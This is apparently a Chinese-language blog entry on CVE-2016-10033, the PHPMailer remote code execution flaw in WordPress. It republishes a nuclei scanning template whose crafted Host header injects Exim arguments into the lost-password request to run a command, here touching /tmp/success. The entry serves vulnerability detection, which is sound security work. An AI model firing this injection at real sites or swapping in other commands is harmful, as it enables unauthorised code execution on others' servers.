WordPress PHPMailer Remote Code Execution Vulnerability

漏洞信息

漏洞名称: WordPress PHPMailer Remote Code Execution Vulnerability

漏洞编号:

  • CVE: CVE-2016-10033

漏洞类型: 命令执行

漏洞等级: 严重

漏洞描述: 受影响的产品是WordPress中使用的PHPMailer库,这是一个广泛使用的电子邮件发送库,支持通过SMTP、sendmail、PHP mail()函数等多种方式发送邮件。PHPMailer在WordPress等众多PHP项目中作为核心组件,用于处理电子邮件发送功能,其安全漏洞直接影响依赖它的应用程序。该漏洞属于命令执行类型,技术根源在于PHPMailer在处理邮件发送请求时,对Sender属性的输入验证不充分,攻击者可以通过构造特殊的Sender属性(包含反斜杠和双引号)来注入额外的命令参数,进而执行任意代码。这一漏洞的影响极为严重,因为它允许远程攻击者在无需任何身份验证的情况下,直接在受影响的WordPress网站上执行任意代码,可能导致网站被完全控制、数据泄露或其他恶意操作。由于PHPMailer的广泛使用和漏洞的易利用性,该漏洞被评定为严重级别。

产品厂商: phpmailer_project

产品名称: PHPMailer

影响版本: version < 5.2.18

来源: https://github.com/projectdiscovery/nuclei-templates/blob/01a59299771e9178d0aadf2065d772c10e58fac8/http%2Fcves%2F2016%2FCVE-2016-10033.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

id: CVE-2016-10033

info:
name: WordPress PHPMailer < 5.2.18 - Remote Code Execution
author: princechaddha
severity: critical
description: WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected WordPress website.
remediation: |
Upgrade PHPMailer to version 5.2.18 or higher to mitigate this vulnerability.
reference:
- https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
- https://nvd.nist.gov/vuln/detail/CVE-2016-10033
- https://www.exploit-db.com/exploits/40970/
- https://www.exploit-db.com/exploits/40968/
- http://seclists.org/fulldisclosure/2016/Dec/78
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2016-10033
cwe-id: CWE-88
epss-score: 0.94420
epss-percentile: 0.99979
cpe: cpe:2.3:a:phpmailer_project:phpmailer:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: phpmailer_project
product: phpmailer
tags: cve,cve2016,seclists,rce,edb,wordpress,phpmailer_project,kev

http:
- raw:
- |+
GET /?author=1 HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

- |+
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Accept: */*
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login={{username}}

unsafe: true

matchers-condition: and
matchers:
- type: word
part: header
words:
- wp-login.php?checkemail=confirm

- type: status
status:
- 302

extractors:
- type: regex
name: username
group: 1
regex:
- 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
internal: true
part: body
# digest: 4a0a00473045022100a3700ae75381a1baa00d5232104f89fb976ae8152f2d2d9d666251c80207004f02200f25ca34293156a3416fef3d74de43598bc84ce8ea0538bdd08adf446a504bae:922c64590222798bb761d5b6d8e72950


WordPress PHPMailer Remote Code Execution Vulnerability
http://example.com/2025/07/28/github_390775213/
作者
lianccc
发布于
2025年7月28日
许可协议